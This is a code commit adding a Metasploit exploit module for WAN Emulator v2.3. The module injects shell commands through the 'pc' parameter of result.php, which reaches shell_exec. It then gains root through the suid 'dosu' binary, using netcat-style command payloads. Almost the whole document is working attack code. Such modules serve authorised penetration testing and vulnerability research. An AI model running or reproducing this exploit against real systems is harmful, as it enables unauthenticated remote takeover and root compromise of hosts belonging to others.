Add WANem v2.3 command execution

Author: bcoles

modules/exploits/linux/http/wanem_exec.rb

@@ -0,0 +1,107 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# web site for more information on licensing and terms of use.
+#   http://metasploit.com/
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+	Rank = ExcellentRanking
+
+	include Msf::Exploit::Remote::HttpClient
+
+	def initialize(info = {})
+		super(update_info(info,
+			'Name'           => 'WAN Emulator v2.3 Command Execution',
+			'Description'    => %q{
+				This module exploits a command execution vulnerability in WAN Emulator
+				version 2.3 which can be abused to allow unauthenticated users to execute
+				arbitrary commands under the context of the 'www-data' user.
+				The 'result.php' script calls shell_exec() with user controlled data
+				from the 'pc' parameter. This module also exploits a command execution
+				vulnerability to gain root privileges. The 'dosu' binary is suid 'root'
+				and vulnerable to command execution in argument one.
+			},
+			'License'        => MSF_LICENSE,
+			'Version'        => '$Revision: 1 $',
+			'Privileged'     => true,
+			'Platform'       => 'unix',
+			'Arch'           => ARCH_CMD,
+			'Author'         =>
+				[
+					'Brendan Coles <bcoles[at]gmail.com>', # Discovery and exploit
+				],
+			'References'     =>
+				[
+					['URL', 'http://itsecuritysolutions.org/2012-08-12-wanem-v2.3-multiple-vulnerabilities/']
+					#['OSVDB', ''],
+					#['EDB',   ''],
+				],
+			'Payload'        =>
+				{
+					'Space'       => 1024,
+					'BadChars'    => "\x00",
+					'DisableNops' => true,
+					'Compat'      =>
+						{
+							'PayloadType' => 'cmd',
+							'RequiredCmd' => 'generic netcat-e',
+						}
+				},
+			'DefaultOptions' =>
+				{
+					'ExitFunction' => 'none'
+				},
+			'Targets'        =>
+				[
+					['Automatic Targeting', { 'auto' => true }]
+				],
+			'DefaultTarget'  => 0,
+			'DisclosureDate' => 'Aug 12 2012'
+		))
+	end
+
+	def on_new_session(client)
+		client.shell_command_token("/UNIONFS/home/perc/dosu /bin/sh")
+	end
+
+	def check
+
+		res   = send_request_cgi({
+			'method' => 'GET',
+			'uri'    => '/WANem/result.php'
+		})
+		if res and res.body =~ /<br><br><br><b><font color=red>Can't measure\!\! Please repeat\.<\/font><\/b><\/body>/
+			return Exploit::CheckCode::Appears
+		else
+			return Exploit::CheckCode::Safe
+		end
+
+	end
+
+	def exploit
+
+		@peer = "#{rhost}:#{rport}"
+		data  = "pc=127.0.0.1; "
+		data << URI.encode(payload.raw)
+		data << "%26"
+		print_status("#{@peer} - Sending payload (#{payload.raw.length} bytes)")
+		begin
+			res = send_request_cgi({
+				'uri'    => '/WANem/result.php',
+				'method' => 'POST',
+				'data'   => data
+			}, 25)
+		rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
+			print_error("#{@peer} - Connection failed")
+		end
+		if res and res.code == 200
+			print_good("#{@peer} - Payload sent successfully")
+		else
+			print_error("#{@peer} - Sending payload failed")
+		end
+	end
+
+end